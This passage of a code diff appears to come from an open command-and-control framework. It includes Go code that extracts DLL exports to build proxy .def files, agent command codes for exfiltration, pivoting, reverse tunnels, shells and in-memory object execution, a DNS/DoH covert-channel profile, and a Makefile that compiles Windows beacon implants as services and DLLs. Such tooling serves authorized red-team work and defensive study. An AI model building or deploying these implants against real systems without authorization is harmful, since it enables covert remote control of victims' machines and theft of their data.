}(defFile)
|
||||
|
||||
_, _ = fmt.Fprintf(defFile, "EXPORTS\n")
|
||||
for i, exportName := range exports {
|
||||
_, _ = fmt.Fprintf(defFile, "%s=%s.%s @%v\n", exportName, baseName, exportName, i+1)
|
||||
}
|
||||
|
||||
return defFileName, nil
|
||||
}
|
||||
|
||||
type ExportDirectory struct {
|
||||
ExportFlags uint32
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
NameRVA uint32
|
||||
OrdinalBase uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressTableRVA uint32
|
||||
NamePointerRVA uint32
|
||||
OrdinalTableRVA uint32
|
||||
}
|
||||
|
||||
func getDLLName(file *pe.File, exportDir *ExportDirectory) (string, error) {
|
||||
nameSection := findSectionByRVA(file, exportDir.NameRVA)
|
||||
if nameSection == nil {
|
||||
return "", fmt.Errorf("dll name section not found")
|
||||
}
|
||||
|
||||
data, err := nameSection.Data()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to read dll name section: %v", err)
|
||||
}
|
||||
|
||||
offset := exportDir.NameRVA - nameSection.VirtualAddress
|
||||
if offset >= uint32(len(data)) {
|
||||
return "", fmt.Errorf("dll name offset out of bounds")
|
||||
}
|
||||
|
||||
nameBytes := data[offset:]
|
||||
for i, b := range nameBytes {
|
||||
if b == 0 {
|
||||
return string(nameBytes[:i]), nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("dll name not null-terminated")
|
||||
}
|
||||
|
||||
func getExports(file *pe.File) ([]string, string, error) {
|
||||
var exports []string
|
||||
|
||||
// Get the export directory from the data directories
|
||||
if file.OptionalHeader == nil {
|
||||
return nil, "", fmt.Errorf("no optional header found")
|
||||
}
|
||||
|
||||
var exportDirRVA, exportDirSize uint32
|
||||
|
||||
switch oh := file.OptionalHeader.(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
if len(oh.DataDirectory) > 0 {
|
||||
exportDirRVA = oh.DataDirectory[0].VirtualAddress
|
||||
exportDirSize = oh.DataDirectory[0].Size
|
||||
}
|
||||
case *pe.OptionalHeader64:
|
||||
if len(oh.DataDirectory) > 0 {
|
||||
exportDirRVA = oh.DataDirectory[0].VirtualAddress
|
||||
exportDirSize = oh.DataDirectory[0].Size
|
||||
}
|
||||
default:
|
||||
return nil, "", fmt.Errorf("unsupported optional header type")
|
||||
}
|
||||
|
||||
if exportDirRVA == 0 || exportDirSize == 0 {
|
||||
return nil, "", fmt.Errorf("no export directory found")
|
||||
}
|
||||
|
||||
// Find the section containing the export directory
|
||||
var section *pe.Section
|
||||
for _, s := range file.Sections {
|
||||
if exportDirRVA >= s.VirtualAddress && exportDirRVA < s.VirtualAddress+s.VirtualSize {
|
||||
section = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if section == nil {
|
||||
return nil, "", fmt.Errorf("export directory not found in any section")
|
||||
}
|
||||
|
||||
// Read section data
|
||||
data, err := section.Data()
|
||||
if err != nil {
|
||||
return nil, "", fmt.Errorf("failed to read section data: %v", err)
|
||||
}
|
||||
|
||||
// Calculate offset within section
|
||||
offset := exportDirRVA - section.VirtualAddress
|
||||
if offset >= uint32(len(data)) {
|
||||
return nil, "", fmt.Errorf("export directory offset out of bounds")
|
||||
}
|
||||
|
||||
// Parse export directory
|
||||
if len(data[offset:]) < int(unsafe.Sizeof(ExportDirectory{})) {
|
||||
return nil, "", fmt.Errorf("insufficient data for export directory")
|
||||
}
|
||||
|
||||
exportDir := (*ExportDirectory)(unsafe.Pointer(&data[offset]))
|
||||
|
||||
dllName, err := getDLLName(file, exportDir)
|
||||
if err != nil {
|
||||
return nil, dllName, fmt.Errorf("DLL name not found")
|
||||
}
|
||||
|
||||
if exportDir.NumberOfNames == 0 {
|
||||
return nil, dllName, fmt.Errorf("no named exports found")
|
||||
}
|
||||
|
||||
// Read name pointer table
|
||||
nameTableRVA := exportDir.NamePointerRVA
|
||||
nameTableSection := findSectionByRVA(file, nameTableRVA)
|
||||
if nameTableSection == nil {
|
||||
return nil, dllName, fmt.Errorf("name table section not found")
|
||||
}
|
||||
|
||||
nameTableData, err := nameTableSection.Data()
|
||||
if err != nil {
|
||||
return nil, dllName, fmt.Errorf("failed to read name table section: %v", err)
|
||||
}
|
||||
|
||||
nameTableOffset := nameTableRVA - nameTableSection.VirtualAddress
|
||||
|
||||
// Read each name RVA and then the actual name
|
||||
for i := uint32(0); i < exportDir.NumberOfNames; i++ {
|
||||
nameRVAOffset := nameTableOffset + i*4
|
||||
if nameRVAOffset+4 > uint32(len(nameTableData)) {
|
||||
break
|
||||
}
|
||||
|
||||
nameRVA := binary.LittleEndian.Uint32(nameTableData[nameRVAOffset:])
|
||||
|
||||
// Find section containing the name
|
||||
nameSection := findSectionByRVA(file, nameRVA)
|
||||
if nameSection == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
nameSectionData, err := nameSection.Data()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
nameOffset := nameRVA - nameSection.VirtualAddress
|
||||
if nameOffset >= uint32(len(nameSectionData)) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Read null-terminated string
|
||||
nameBytes := nameSectionData[nameOffset:]
|
||||
var name string
|
||||
for j, b := range nameBytes {
|
||||
if b == 0 {
|
||||
name = string(nameBytes[:j])
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if name != "" {
|
||||
exports = append(exports, name)
|
||||
}
|
||||
}
|
||||
|
||||
return exports, dllName, nil
|
||||
}
|
||||
|
||||
func findSectionByRVA(file *pe.File, rva uint32) *pe.Section {
|
||||
for _, section := range file.Sections {
|
||||
if rva >= section.VirtualAddress && rva < section.VirtualAddress+section.VirtualSize {
|
||||
return section
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+389
@@ -0,0 +1,389 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"crypto/rc4"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/rand/v2"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
adaptix "github.com/Adaptix-Framework/axc2"
|
||||
)
|
||||
|
||||
const (
|
||||
COMMAND_CAT = 24
|
||||
COMMAND_COPY = 12
|
||||
COMMAND_CD = 8
|
||||
COMMAND_DISKS = 15
|
||||
COMMAND_DOWNLOAD = 32
|
||||
COMMAND_EXEC_BOF = 50
|
||||
COMMAND_EXEC_BOF_OUT = 51
|
||||
COMMAND_EXFIL = 35
|
||||
COMMAND_GETUID = 22
|
||||
COMMAND_JOBS_KILL = 47
|
||||
COMMAND_JOB_LIST = 46
|
||||
COMMAND_LINK = 38
|
||||
COMMAND_LS = 14
|
||||
COMMAND_MV = 18
|
||||
COMMAND_MKDIR = 27
|
||||
COMMAND_PIVOT_EXEC = 37
|
||||
COMMAND_PS_LIST = 41
|
||||
COMMAND_PS_KILL = 42
|
||||
COMMAND_PS_RUN = 43
|
||||
COMMAND_PROFILE = 21
|
||||
COMMAND_PWD = 4
|
||||
COMMAND_REV2SELF = 23
|
||||
COMMAND_RM = 17
|
||||
COMMAND_TERMINATE = 10
|
||||
COMMAND_UNLINK = 39
|
||||
COMMAND_UPLOAD = 33
|
||||
|
||||
COMMAND_TUNNEL_START_TCP = 62
|
||||
COMMAND_TUNNEL_START_UDP = 63
|
||||
COMMAND_TUNNEL_WRITE_TCP = 64
|
||||
COMMAND_TUNNEL_WRITE_UDP = 65
|
||||
COMMAND_TUNNEL_CLOSE = 66
|
||||
COMMAND_TUNNEL_REVERSE = 67
|
||||
COMMAND_TUNNEL_ACCEPT = 68
|
||||
COMMAND_TUNNEL_PAUSE = 69
|
||||
COMMAND_TUNNEL_RESUME = 70
|
||||
|
||||
COMMAND_SHELL_START = 71
|
||||
COMMAND_SHELL_WRITE = 72
|
||||
|
||||
COMMAND_JOB = 0x8437
|
||||
COMMAND_SAVEMEMORY = 0x2321
|
||||
COMMAND_ERROR = 0x1111ffff
|
||||
)
|
||||
|
||||
const (
|
||||
DOWNLOAD_START = 0x1
|
||||
DOWNLOAD_CONTINUE = 0x2
|
||||
DOWNLOAD_FINISH = 0x3
|
||||
)
|
||||
|
||||
const (
|
||||
JOB_TYPE_LOCAL = 0x1
|
||||
JOB_TYPE_REMOTE = 0x2
|
||||
JOB_TYPE_PROCESS = 0x3
|
||||
JOB_TYPE_SHELL = 0x4
|
||||
)
|
||||
|
||||
const (
|
||||
JOB_STATE_STARTING = 0x0
|
||||
JOB_STATE_RUNNING = 0x1
|
||||
JOB_STATE_FINISHED = 0x2
|
||||
JOB_STATE_KILLED = 0x3
|
||||
)
|
||||
|
||||
const (
|
||||
CALLBACK_OUTPUT_OEM = 0x1e
|
||||
CALLBACK_OUTPUT_UTF8 = 0x20
|
||||
CALLBACK_ERROR = 0x0d
|
||||
|
||||
CALLBACK_AX_SCREENSHOT = 0x81
|
||||
CALLBACK_AX_DOWNLOAD_MEM = 0x82
|
||||
|
||||
BOF_ERROR_PARSE = 0x101
|
||||
BOF_ERROR_SYMBOL = 0x102
|
||||
BOF_ERROR_MAX_FUNCS = 0x103
|
||||
BOF_ERROR_ENTRY = 0x104
|
||||
BOF_ERROR_ALLOC = 0x105
|
||||
)
|
||||
|
||||
// DNS Constants
|
||||
const (
|
||||
dnsDefaultLabelSize = 48
|
||||
dnsMaxLabelSize = 63
|
||||
dnsFrameHeaderSize = 5 // flags:1 + origLen:4
|
||||
dnsCompressFlag = 0x1
|
||||
)
|
||||
|
||||
func CreateTaskCommandSaveMemory(ts Teamserver, agentId string, buffer []byte) int {
|
||||
chunkSize := 0x100000 // 1Mb
|
||||
memoryId := int(rand.Uint32())
|
||||
|
||||
bufferSize := len(buffer)
|
||||
|
||||
taskData := adaptix.TaskData{
|
||||
Type: adaptix.TASK_TYPE_TASK,
|
||||
AgentId: agentId,
|
||||
Sync: false,
|
||||
}
|
||||
|
||||
for start := 0; start < bufferSize; start += chunkSize {
|
||||
fin := start + chunkSize
|
||||
if fin > bufferSize {
|
||||
fin = bufferSize
|
||||
}
|
||||
|
||||
array := []interface{}{COMMAND_SAVEMEMORY, memoryId, bufferSize, fin - start, buffer[start:fin]}
|
||||
taskData.Data, _ = PackArray(array)
|
||||
taskData.TaskId = fmt.Sprintf("%08x", rand.Uint32())
|
||||
|
||||
ts.TsTaskCreate(agentId, "", "", taskData)
|
||||
}
|
||||
return memoryId
|
||||
}
|
||||
|
||||
func GetOsVersion(majorVersion uint8, minorVersion uint8, buildNumber uint, isServer bool, systemArch string) (int, string) {
|
||||
var (
|
||||
desc string
|
||||
os = adaptix.OS_UNKNOWN
|
||||
)
|
||||
|
||||
osVersion := "unknown"
|
||||
if majorVersion == 10 && minorVersion == 0 && isServer && buildNumber >= 26100 {
|
||||
osVersion = "Win 2025 Serv"
|
||||
} else if majorVersion == 10 && minorVersion == 0 && isServer && buildNumber >= 19045 {
|
||||
osVersion = "Win 2022 Serv"
|
||||
} else if majorVersion == 10 && minorVersion == 0 && isServer && buildNumber >= 17763 {
|
||||
osVersion = "Win 2019 Serv"
|
||||
} else if majorVersion == 10 && minorVersion == 0 && !isServer && buildNumber >= 22000 {
|
||||
osVersion = "Win 11"
|
||||
} else if majorVersion == 10 && minorVersion == 0 && isServer {
|
||||
osVersion = "Win 2016 Serv"
|
||||
} else if majorVersion == 10 && minorVersion == 0 {
|
||||
osVersion = "Win 10"
|
||||
} else if majorVersion == 6 && minorVersion == 3 && isServer {
|
||||
osVersion = "Win Serv 2012 R2"
|
||||
} else if majorVersion == 6 && minorVersion == 3 {
|
||||
osVersion = "Win 8.1"
|
||||
} else if majorVersion == 6 && minorVersion == 2 && isServer {
|
||||
osVersion = "Win Serv 2012"
|
||||
} else if majorVersion == 6 && minorVersion == 2 {
|
||||
osVersion = "Win 8"
|
||||
} else if majorVersion == 6 && minorVersion == 1 && isServer {
|
||||
osVersion = "Win Serv 2008 R2"
|
||||
} else if majorVersion == 6 && minorVersion == 1 {
|
||||
osVersion = "Win 7"
|
||||
}
|
||||
|
||||
desc = osVersion + " " + systemArch
|
||||
if strings.Contains(osVersion, "Win") {
|
||||
os = adaptix.OS_WINDOWS
|
||||
}
|
||||
return os, desc
|
||||
}
|
||||
|
||||
func int32ToIPv4(ip uint) string {
|
||||
b := []byte{
|
||||
byte(ip),
|
||||
byte(ip >> 8),
|
||||
byte(ip >> 16),
|
||||
byte(ip >> 24),
|
||||
}
|
||||
return net.IP(b).String()
|
||||
}
|
||||
|
||||
func SizeBytesToFormat(bytes int64) string {
|
||||
const (
|
||||
KB = 1024.0
|
||||
MB = KB * 1024
|
||||
GB = MB * 1024
|
||||
)
|
||||
|
||||
size := float64(bytes)
|
||||
|
||||
if size >= GB {
|
||||
return fmt.Sprintf("%.2f Gb", size/GB)
|
||||
} else if size >= MB {
|
||||
return fmt.Sprintf("%.2f Mb", size/MB)
|
||||
}
|
||||
return fmt.Sprintf("%.2f Kb", size/KB)
|
||||
}
|
||||
|
||||
func RC4Crypt(data []byte, key []byte) ([]byte, error) {
|
||||
rc4crypt, errcrypt := rc4.NewCipher(key)
|
||||
if errcrypt != nil {
|
||||
return nil, errors.New("rc4 crypt error")
|
||||
}
|
||||
decryptData := make([]byte, len(data))
|
||||
rc4crypt.XORKeyStream(decryptData, data)
|
||||
return decryptData, nil
|
||||
}
|
||||
|
||||
func parseDurationToSeconds(input string) (int, error) {
|
||||
re := regexp.MustCompile(`(\d+)(h|m|s)`)
|
||||
matches := re.FindAllStringSubmatch(input, -1)
|
||||
|
||||
totalSeconds := 0
|
||||
for _, match := range matches {
|
||||
value, err := strconv.Atoi(match[1])
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
switch match[2] {
|
||||
case "h":
|
||||
totalSeconds += value * 3600
|
||||
case "m":
|
||||
totalSeconds += value * 60
|
||||
case "s":
|
||||
totalSeconds += value
|
||||
}
|
||||
}
|
||||
|
||||
return totalSeconds, nil
|
||||
}
|
||||
|
||||
func parseStringToWorkingTime(WorkingTime string) (int, error) {
|
||||
IntWorkingTime := 0
|
||||
if WorkingTime != "" {
|
||||
match, err := regexp.MatchString("^[012]?[0-9]:[0-6][0-9]-[012]?[0-9]:[0-6][0-9]$", WorkingTime)
|
||||
if err != nil || match == false {
|
||||
return IntWorkingTime, errors.New("Failed to parse working time: Invalid format")
|
||||
}
|
||||
|
||||
startAndEnd := strings.Split(WorkingTime, "-")
|
||||
startHourandMinutes := strings.Split(startAndEnd[0], ":")
|
||||
endHourandMinutes := strings.Split(startAndEnd[1], ":")
|
||||
|
||||
startHour, _ := strconv.Atoi(startHourandMinutes[0])
|
||||
startMin, _ := strconv.Atoi(startHourandMinutes[1])
|
||||
endHour, _ := strconv.Atoi(endHourandMinutes[0])
|
||||
endMin, _ := strconv.Atoi(endHourandMinutes[1])
|
||||
|
||||
if startHour < 0 || startHour > 24 || endHour < 0 || endHour > 24 || startMin < 0 || startMin > 60 || endMin < 0 || endMin > 60 {
|
||||
return IntWorkingTime, errors.New("Failed to parse working time: Incorrectly defined time")
|
||||
}
|
||||
|
||||
if endHour < startHour || (startHour == endHour && endMin <= startMin) {
|
||||
return IntWorkingTime, errors.New("Failed to parse working time: The end hour cannot be earlier than the start hour")
|
||||
}
|
||||
|
||||
IntWorkingTime |= startHour << 24
|
||||
IntWorkingTime |= startMin << 16
|
||||
IntWorkingTime |= endHour << 8
|
||||
IntWorkingTime |= endMin << 0
|
||||
}
|
||||
|
||||
return IntWorkingTime, nil
|
||||
}
|
||||
|
||||
func formatBurstStatus(enabled int, sleepMs int, jitterPct int) string {
|
||||
if enabled == 0 {
|
||||
return "off"
|
||||
}
|
||||
return fmt.Sprintf("on (sleep=%dms, jitter=%d%%)", sleepMs, jitterPct)
|
||||
}
|
||||
|
||||
func buildDNSProfileParams(generateConfig GenerateConfig, listenerMap map[string]any, userAgent string) ([]interface{}, error) {
|
||||
|
||||
domain, _ := listenerMap["domain"].(string)
|
||||
|
||||
resolvers := generateConfig.DnsResolvers
|
||||
if resolvers == "" {
|
||||
resolvers, _ = listenerMap["resolvers"].(string)
|
||||
}
|
||||
|
||||
dohResolvers := generateConfig.DohResolvers
|
||||
if dohResolvers == "" {
|
||||
dohResolvers = "https://dns.google/dns-query,https://cloudflare-dns.com/dns-query,https://dns.quad9.net/dns-query"
|
||||
}
|
||||
|
||||
// DNS mode: 0=UDP, 1=DoH, 2=UDP->DoH fallback, 3=DoH->UDP fallback
|
||||
dnsMode := 0 // Default to UDP
|
||||
switch generateConfig.DnsMode {
|
||||
case "DNS (Direct UDP)":
|
||||
dnsMode = 0
|
||||
case "DoH (DNS over HTTPS)":
|
||||
dnsMode = 1
|
||||
case "DNS -> DoH fallback":
|
||||
dnsMode = 2
|
||||
case "DoH -> DNS fallback":
|
||||
dnsMode = 3
|
||||
}
|
||||
|
||||
qtype, _ := listenerMap["qtype"].(string)
|
||||
|
||||
pktSizeF, _ := listenerMap["pkt_size"].(float64)
|
||||
ttlF, _ := listenerMap["ttl"].(float64)
|
||||
labelSizeF, _ := listenerMap["label_size"].(float64)
|
||||
|
||||
pktSize := int(pktSizeF)
|
||||
ttl := int(ttlF)
|
||||
labelSize := int(labelSizeF)
|
||||
if labelSize <= 0 || labelSize > dnsMaxLabelSize {
|
||||
labelSize = dnsDefaultLabelSize
|
||||
}
|
||||
|
||||
burstEnabledF, _ := listenerMap["burst_enabled"].(bool)
|
||||
burstSleepF, _ := listenerMap["burst_sleep"].(float64)
|
||||
burstJitterF, _ := listenerMap["burst_jitter"].(float64)
|
||||
|
||||
burstEnabled := 0
|
||||
if burstEnabledF {
|
||||
burstEnabled = 1
|
||||
}
|
||||
burstSleep := int(burstSleepF)
|
||||
if burstSleep <= 0 {
|
||||
burstSleep = 50
|
||||
}
|
||||
burstJitter := int(burstJitterF)
|
||||
if burstJitter < 0 || burstJitter > 90 {
|
||||
burstJitter = 0
|
||||
}
|
||||
|
||||
params := []interface{}{
|
||||
domain,
|
||||
resolvers,
|
||||
dohResolvers,
|
||||
qtype,
|
||||
pktSize,
|
||||
labelSize,
|
||||
ttl,
|
||||
burstEnabled,
|
||||
burstSleep,
|
||||
burstJitter,
|
||||
dnsMode, // DNS mode (0=UDP, 1=DoH, 2=UDP->DoH, 3=DoH->UDP)
|
||||
userAgent,
|
||||
}
|
||||
|
||||
return params, nil
|
||||
}
|
||||
|
||||
func appendDNSObjectFiles(files string, objectDir string, ext string) string {
|
||||
files += objectDir + "/DnsCodec" + ext + " "
|
||||
files += objectDir + "/miniz" + ext + " "
|
||||
return files
|
||||
}
|
||||
|
||||
func decompressZlibData(data []byte) ([]byte, bool) {
|
||||
if len(data) < dnsFrameHeaderSize {
|
||||
return data, false
|
||||
}
|
||||
flags := data[0]
|
||||
origLen := int(data[1]) | int(data[2])<<8 | int(data[3])<<16 | int(data[4])<<24
|
||||
|
||||
if origLen <= 0 {
|
||||
return data, false
|
||||
}
|
||||
|
||||
payload := data[dnsFrameHeaderSize:]
|
||||
if (flags & dnsCompressFlag) != 0 {
|
||||
r, err := zlib.NewReader(bytes.NewReader(payload))
|
||||
if err != nil {
|
||||
return data, false
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
_, err = io.Copy(&buf, r)
|
||||
_ = r.Close()
|
||||
if err == nil && buf.Len() == origLen {
|
||||
return buf.Bytes(), true
|
||||
}
|
||||
return data, false
|
||||
}
|
||||
|
||||
if len(payload) == origLen {
|
||||
return payload, true
|
||||
}
|
||||
|
||||
return data, false
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
.DEFAULT_GOAL := all
|
||||
|
||||
# Toolchain
|
||||
CXX_X64 := x86_64-w64-mingw32-g++
|
||||
CXX_X86 := i686-w64-mingw32-g++
|
||||
|
||||
# Paths
|
||||
BEACON_DIR := beacon
|
||||
FILES_DIR := files
|
||||
|
||||
# Output directories can be overridden by the parent Makefile.
|
||||
HTTP_DIST_DIR ?= objects_http
|
||||
SMB_DIST_DIR ?= objects_smb
|
||||
TCP_DIST_DIR ?= objects_tcp
|
||||
DNS_DIST_DIR ?= objects_dns
|
||||
|
||||
DIST_DIRS := \
|
||||
$(HTTP_DIST_DIR) \
|
||||
$(SMB_DIST_DIR) \
|
||||
$(TCP_DIST_DIR) \
|
||||
$(DNS_DIST_DIR)
|
||||
|
||||
# Source discovery
|
||||
COMMON_SOURCES := $(filter-out \
|
||||
$(BEACON_DIR)/config.cpp \
|
||||
$(BEACON_DIR)/main.cpp \
|
||||
$(BEACON_DIR)/ConnectorHTTP.cpp \
|
||||
$(BEACON_DIR)/ConnectorSMB.cpp \
|
||||
$(BEACON_DIR)/ConnectorTCP.cpp \
|
||||
$(BEACON_DIR)/ConnectorDNS.cpp \
|
||||
$(BEACON_DIR)/DnsCodec.cpp \
|
||||
$(BEACON_DIR)/miniz.cpp, \
|
||||
$(wildcard $(BEACON_DIR)/*.cpp))
|
||||
|
||||
HTTP_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorHTTP.cpp
|
||||
SMB_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorSMB.cpp
|
||||
TCP_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorTCP.cpp
|
||||
DNS_SOURCES := $(COMMON_SOURCES) $(BEACON_DIR)/ConnectorDNS.cpp $(BEACON_DIR)/DnsCodec.cpp $(BEACON_DIR)/miniz.cpp
|
||||
|
||||
# Common compilation flags
|
||||
ASM_SYNTAX := -masm=intel
|
||||
|
||||
SECURITY_FLAGS := \
|
||||
-fno-stack-protector \
|
||||
-fno-strict-overflow \
|
||||
-fno-delete-null-pointer-checks \
|
||||
-fno-strict-aliasing \
|
||||
-fno-builtin
|
||||
|
||||
OPTIMIZATION_FLAGS := \
|
||||
-fno-exceptions \
|
||||
-fno-unwind-tables \
|
||||
-fno-asynchronous-unwind-tables
|
||||
|
||||
# Generate dependency files for header tracking.
|
||||
DEP_FLAGS := -MMD -MP
|
||||
|
||||
COMMON_FLAGS := \
|
||||
-I$(BEACON_DIR) \
|
||||
-fpermissive \
|
||||
-w \
|
||||
$(ASM_SYNTAX) \
|
||||
-fPIC \
|
||||
$(SECURITY_FLAGS) \
|
||||
$(OPTIMIZATION_FLAGS) \
|
||||
$(DEP_FLAGS)
|
||||
|
||||
# Miniz is trimmed to reduce CRT-related dependencies while preserving
|
||||
# compression support required by the DNS codec path.
|
||||
MINIZ_TRIM_FLAGS := \
|
||||
-DMINIZ_NO_STDIO \
|
||||
-DMINIZ_NO_ARCHIVE_APIS \
|
||||
-DMINIZ_NO_ARCHIVE_WRITING_APIS \
|
||||
-DMINIZ_NO_TIME \
|
||||
-DMINIZ_NO_ASSERT
|
||||
|
||||
# Per-transport object lists
|
||||
HTTP_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(HTTP_DIST_DIR)/%.x64.o,$(HTTP_SOURCES))
|
||||
HTTP_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(HTTP_DIST_DIR)/%.x86.o,$(HTTP_SOURCES))
|
||||
|
||||
SMB_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(SMB_DIST_DIR)/%.x64.o,$(SMB_SOURCES))
|
||||
SMB_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(SMB_DIST_DIR)/%.x86.o,$(SMB_SOURCES))
|
||||
|
||||
TCP_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(TCP_DIST_DIR)/%.x64.o,$(TCP_SOURCES))
|
||||
TCP_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(TCP_DIST_DIR)/%.x86.o,$(TCP_SOURCES))
|
||||
|
||||
DNS_OBJECTS_X64 := $(patsubst $(BEACON_DIR)/%.cpp,$(DNS_DIST_DIR)/%.x64.o,$(DNS_SOURCES))
|
||||
DNS_OBJECTS_X86 := $(patsubst $(BEACON_DIR)/%.cpp,$(DNS_DIST_DIR)/%.x86.o,$(DNS_SOURCES))
|
||||
|
||||
# Dependency files generated from object compilation.
|
||||
DEPS := \
|
||||
$(HTTP_OBJECTS_X64:.o=.d) $(HTTP_OBJECTS_X86:.o=.d) \
|
||||
$(SMB_OBJECTS_X64:.o=.d) $(SMB_OBJECTS_X86:.o=.d) \
|
||||
$(TCP_OBJECTS_X64:.o=.d) $(TCP_OBJECTS_X86:.o=.d) \
|
||||
$(DNS_OBJECTS_X64:.o=.d) $(DNS_OBJECTS_X86:.o=.d)
|
||||
|
||||
# Parallel build settings
|
||||
NPROC := $(shell nproc)
|
||||
ifeq ($(MAKELEVEL),0)
|
||||
MAKEFLAGS += -j$(NPROC) --no-print-directory
|
||||
endif
|
||||
|
||||
.PHONY: all pre dirs assets clean x64 x86
|
||||
|
||||
all: pre x64 x86
|
||||
|
||||
dirs: $(DIST_DIRS)
|
||||
|
||||
$(DIST_DIRS):
|
||||
@mkdir -p $@
|
||||
|
||||
# Prepare output directories and copy runtime assets only when needed.
|
||||
pre: dirs assets
|
||||
|
||||
assets: \
|
||||
$(HTTP_DIST_DIR)/config.cpp \
|
||||
$(SMB_DIST_DIR)/config.cpp \
|
||||
$(TCP_DIST_DIR)/config.cpp \
|
||||
$(DNS_DIST_DIR)/config.cpp
|
||||
|
||||
$(HTTP_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(HTTP_DIST_DIR)
|
||||
@cp -u $< $@
|
||||
|
||||
$(SMB_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(SMB_DIST_DIR)
|
||||
@cp -u $< $@
|
||||
|
||||
$(TCP_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(TCP_DIST_DIR)
|
||||
@cp -u $< $@
|
||||
|
||||
$(DNS_DIST_DIR)/config.cpp: $(FILES_DIR)/config.tpl | $(DNS_DIST_DIR)
|
||||
@cp -u $< $@
|
||||
|
||||
# Incremental transport object builds.
|
||||
x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64)
|
||||
@echo " * Refreshing x64 main objects"
|
||||
@# HTTP
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x64.o
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x64.o
|
||||
|
||||
@# SMB
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x64.o
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x64.o
|
||||
|
||||
@# TCP
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x64.o
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x64.o
|
||||
|
||||
@# DNS
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x64.o
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x64.o
|
||||
|
||||
x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86)
|
||||
@echo " * Refreshing x86 main objects"
|
||||
@# HTTP
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x86.o
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x86.o
|
||||
|
||||
@# SMB
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x86.o
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x86.o
|
||||
|
||||
@# TCP
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x86.o
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x86.o
|
||||
|
||||
@# DNS
|
||||
